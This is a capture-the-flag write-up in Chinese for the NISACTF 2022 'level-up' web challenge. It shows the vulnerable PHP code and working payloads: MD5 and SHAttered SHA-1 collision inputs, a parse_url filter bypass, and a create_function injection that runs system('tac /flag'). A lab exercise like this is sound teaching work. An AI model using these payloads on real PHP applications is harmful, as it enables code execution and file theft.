[NISACTF 2022]level-up

news2024/11/24 6:23:03

[NISACTF 2022]level-up

f12 发现提示disallow 也就是不允许的想到robots.txt

LEVEL_2

<?php
//here is level 2    
error_reporting(0);   #屏蔽报错信息
include "str.php";    #包含str.php这个页面
if (isset($_POST['array1']) && isset($_POST['array2'])){ #if判断通过post传入的array1和array2是不是空
    $a1 = (string)$_POST['array1'];    #将通过post传递的array1转换为字符串类型并赋值给a1
    $a2 = (string)$_POST['array2'];    #将通过post传递的array2转换为字符串类型并赋值给a2
    if ($a1 == $a2){                   #判断a1是不是等于a2
        die("????");
    }
    if (md5($a1) === md5($a2)){        #判断a1和a2的md5值是不是一样
        echo $level3;
    }
    else{
        die("level 2 failed ..."); 
    }

}
else{
    show_source(__FILE__);              #将当前文件的代码高亮显示
}
?> 

典型的md5值的题目

这里是强匹配加字符型所以0e和[]都不行

这里要用到md5真正一样的字符串

4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

这两个16进制格式的两个不同子符串有同样的md5值

008ee33a9d58b51cfeb425b0959121c9

同样

0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef

也是一样的

cee9a457e790cf20d4bdaa6d69f01e41

 使用python脚本

from binascii import *
from urllib.parse import *
a1 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2'
a2 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2'

z1 = quote(unhexlify(a1))
z2 = quote(unhexlify(a2))
print(z1)
print(z2)

得到Level___3.php

LEVEL_3

 <?php
//here is level 3
error_reporting(0);     #屏蔽报错信息
include "str.php";      #包含str.php
if (isset($_POST['array1']) && isset($_POST['array2'])){ #判断post传入的array1和array2是不是为空
    $a1 = (string)$_POST['array1'];  #将attay1通过字符串转换并赋值给a1
    $a2 = (string)$_POST['array2'];  #将attay2通过字符串转换并赋值给a2
    if ($a1 == $a2){                 #判断a1和a2是不是相同
        die("????");
    }
    if (sha1($a1) === sha1($a2)){    #判断a1和a2经过sha1的值是不是一样
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?> 

 这里对于sha1的值我们可以去看SHAttered

使用

 array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

得到 level_level_4.php

LEVEL_4

 <?php
//here is last level
    error_reporting(0);    #屏蔽报错信息
    include "str.php";     #包含str.php
    show_source(__FILE__); #显示当前文件的原代码

    $str = parse_url($_SERVER['REQUEST_URI']);    #用于获取当前请求的url 并通过parse_url函数解析各个组成部分
    if($str['query'] == ""){                          #检查str数组中是不是为空 query为值
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){ #判断str数组中有没有|、_、空格、.等字符
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){  #判断通过get获得的NI_SA_是不是等于txw4ever
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }

?>
give me a parameterlevel 4 failed ...

- query: 查询字符串,以?开头,包含键值对数据,比如?name=Jack&age=18

$_SERVER是PHP中的一个超级全局变量(superglobal),它包含了许多有关请求的信息

REQUEST_URI是$_SERVER数组中的一个元素,它包含了当前请求的URI(通常是路径和查询字符串)。比如,如果请求的是:
/products/12?color=red那么$_SERVER['REQUEST_URI']的值就是:
/products/12?color=red里面有query

这里要传入NI_AS_=txw4everAS_=txw4ever但是过滤了_

我们使用+绕过_

LEVEL_5

<?php
//sorry , here is true last level
//^_^ 
error_reporting(0); #屏蔽报错信息
include "str.php";  #包含str.php
 
$a = $_GET['a'];    #通过get方法获取a值
$b = $_GET['b'];    #通过get方法获取b值
if(preg_match('/^[a-z0-9_]*$/isD',$a)){  #判断a中有没有小写字母和数字
    show_source(__FILE__);
}
else{
    $a('',$b);  #调用a并包含b
}

 这里的a最后是$a()是函数使用方法,b为函数执行的值

我们通过create_function()函数由于可以让用户输入的内容被当作PHP代码执行

由于preg_match()函数在判断字符串时,会将\作为转义字符处理。所以,实际上这个判断语句会将\create_function视为:c r e a t e _ f u n c t i o n

然后在b中}system('tac /flag');/*

这里面因为$a('',$b);使用b的值会被当成参数而不是php代码来执行

b中的}/*会先结束if判断中的a函数运行然后system('tac /flag');才会真正的在a函数中

最终通过?a=\create_function&b=}system('tac /flag');/*

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/467527.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

巧用千寻位置GNSS软件|如何快速完成道路桥涵放样

道路桥涵放样主要解决道路施工中正交、斜交涵洞的测量&#xff0c;正交涵洞放样是中心线的定线放样&#xff1b;斜交涵洞放养是涵洞中心线与线路成一固定夹角的情况下的放样。 那么如何运用千寻位置GNSS软件实现道路桥涵放样呢&#xff1f;下面为各位一一介绍。 点击【测量】-&…

【移动端网页布局】移动端网页布局基础概念 ⑨ ( webkit 内核 | 移动端网页 CSS 初始化 - normalize.css )

文章目录 一、webkit 内核二、移动端网页 CSS 初始化 - normalize.css 一、webkit 内核 移动端浏览器 都是 基于 webkit 内核的 , QQ 浏览器 / 百度 / Safari / UC 都是基于 webkit 内核的 ; 移动端网页布局需要 兼容 普通浏览器 与 webkit 浏览器 ; webkit 内核浏览器 对 HT…

Ubuntu18 更换 apt 源为阿里云

Step1. 备份 list 文件 进入对应文件夹&#xff0c;用管理员权限&#xff0c;执行复制操作&#xff1a; cd /etc/apt/ sudo cp sources.list sources.list.bak Step2. 修改 list 文件 通过管理员权限&#xff0c;使用 vim 进行修改&#xff1a; sudo vim sources.list 将…

【Pytorch】六行代码实现:特征图提取与特征图可视化

前言 之前记录过特征图的可视化&#xff1a;Pytorch实现特征图可视化&#xff0c;当时是利用IntermediateLayerGetter 实现的&#xff0c;但是有很大缺陷&#xff0c;只能获取到一级的子模块的特征图输出&#xff0c;无法获取内部二级子模块的输出。今天补充另一种Pytorch官方…

ChatGPT如何写作-ChatGPT写作程序

ChatGPT如何写作 ChatGPT是一款自然语言处理模型&#xff0c;它无法像人类一样进行“写作”。但是&#xff0c;您可以利用ChatGPT的生成文本功能来帮助您生成文字。以下是一些使用ChatGPT写作的建议&#xff1a; 确定主题和目标受众。在开始写作之前&#xff0c;请确保您清楚知…

凝心聚力,携“源”出海:开源社顾问委员会2023年第一季度会议圆满举办!

2023 年 3 月 25 日&#xff0c;开源社顾问委员会&#xff08;以下简称"顾问委员会"&#xff09;第一季度会议在北京圆满召开。这是顾问委员会自 2018 年成立以来的第 17 次全体委员会议。 为增进顾问委员会成员交流&#xff0c;加强开源社社区建设&#xff0c;实现开…

第五章 资源包使用

游戏开发中会大量使用模型文件&#xff0c;图片文件&#xff0c;这些资源都需要事先导入到项目中去。导入的方式非常简单&#xff0c;将这些文件直接复制到项目中的Assets目录下即可。Unity 会在文件添加到 Assets 文件夹时自动检测到这些文件并同步显示在Project视图中。 Uni…

内分泌失调对身体有什么影响?

体内各种荷尔蒙的平衡&#xff0c;可以维持内分泌的稳定&#xff0c;当生活节奏被打乱&#xff0c;就会导致熬夜、入睡困难、压力过大、不按时就餐、久坐、情绪不稳定等。 对此&#xff0c;内分泌失调都是不小的问题&#xff0c;都是会影响身体的各个部位的。 内分泌对身体有什…

【U8+】用友U8+产品-操作系统、数据库、浏览器推荐支持一览表

【业务场景】 大家平时在服务、实施过程中&#xff0c; 经常被问到各个版本的产品支持什么版本操作系统、数据库、浏览器&#xff1f; 根据各个版本发版说明&#xff0c; 总结了操作系统、数据库、浏览器推荐使用一览表。 软件版本与电脑操作系统版本相辅相承&#xff0c; 一方…

Redis 缓存穿透、缓存雪崩、缓存击穿

缓存穿透 缓存穿透是指客户端请求的数据在缓存中和数据库中都不存在&#xff0c;这样缓存永远不会生效&#xff0c;这些请求都会打到数据库。 常见的解决方案有两种&#xff1a; 缓存空对象 优点&#xff1a;实现简单&#xff0c;维护方便 缺点&#xff1a; 额外的内存消耗 可…

chatGPT写文章一半不写了-如何让chatGPT写完整文章

chatGPT不生成内容的原因有哪些 当ChatGPT不生成内容时&#xff0c;可能有如下原因&#xff1a; 数据限制&#xff1a;ChatGPT的生成能力是建立在其训练数据的基础上的。如果输入的内容领域、主题和题材不在其数据范围内&#xff0c;ChatGPT将无法生成非常有意义和具体的内容。…

图像修补论文阅读:MAT算法笔记

标题&#xff1a;MAT: Mask-Aware Transformer for Large Hole Image Inpainting 会议&#xff1a;CVPR2022 论文地址&#xff1a;https://ieeexplore.ieee.org/document/9879508/ 官方代码&#xff1a;https://github.com/fenglinglwb/MAT 作者单位&#xff1a;香港中文大学、…

第十一讲 常用数据结构之字符串

第二次世界大战促使了现代电子计算机的诞生&#xff0c;世界上的第一台通用电子计算机名叫 ENIAC&#xff08;电子数值积分计算机&#xff09;&#xff0c;诞生于美国的宾夕法尼亚大学&#xff0c;占地167平米&#xff0c;重量约27吨&#xff0c;每秒钟大约能够完成约5000次浮点…

Ansible基础和命令行模块操作

目录 1.Ansible介绍 1.Ansible能做什么&#xff1f; 2.Ansible的特性和原理 2.Ansible部署 3.Ansible命令模块 1.command模块 2.shell模块 3.cron模块 4.user模块 5.group模块 7.file模块 8.hostname 模块 9.ping 模块 10. yum 模块 11.service/systemd 模块 1…

【私有云底层】理解OpenStack核心组件

文章目录 &#x1f479; 关于作者一、Keystone 身份认证服务Keystone 架构工作流程 二、Glance 镜像服务Glance 架构磁盘与容器Glance 工作流程 三、Placement 放置服务Placement 工作流程 四、Nova 计算服务Nova 架构Nova 工作流程 五、Neutron 网络服务Neutron 架构Neutron 支…

jstat命令查看jvm内存情况及GC内存变化

命令格式 jstat [Options] pid [interval] [count] 参数说明&#xff1a; Options&#xff0c;选项&#xff0c;一般使用 -gc、-gccapacity查看gc情况 pid&#xff0c;VM的进程号&#xff0c;即当前运行的java进程号 interval&#xff0c;间隔时间(按该时间频率自动刷新当前内存…

Shell脚本之条件测试、if、case条件测试语句

目录 一、条件测试1.1test命令1.2文件测试1.2.1文件测试常见选项 1.3整数值比较1.4字符串比较1.5逻辑测试 二、if语句2.1单分支结构2.2双分支结构2.3多分支结构 三、case语句 一、条件测试 1.1test命令 测试特定的表达式是否成立&#xff0c;当条件成立&#xff0c;测试语句的…

Android Studio 2021 导出aar到Unity

1,新建一个新工程&#xff0c;创建一个Empty Activity 2.下面的都用默认即可 3.修改工程一些配置 修改setting.gradle maven { url https://maven.aliyun.com/repository/google } maven { url https://maven.aliyun.com/repository/public } maven { url https://maven.aliyu…

【matplotlib】可视化解决方案——如何正确设置轴长度和范围

概述 在 matplotlib 绘图时&#xff0c;往往需要对坐标轴进行设置&#xff0c;默认情况下&#xff0c;每一个绘图的最后都会调用 plt.autoscale() 方法&#xff0c;这个方法的底层是 gca().autoscale(enableenable, axisaxis, tighttight)&#xff0c;本质是调用当前 Axes 对象…

【HDU - 6558】The Moon(概率dp)

ps&#xff1a;初学概率dp&#xff0c;所以 就算是板子也 是看了非常久&#xff0c;好在最后还是学会了qwq… 文章目录 题意思路代码总结 题意 思路 概率dp通常为从能够得到的状态去进行转移&#xff0c;在q为100%的时候&#xff0c;我们能够知道赢的概率为 p,那么赢的期望就是…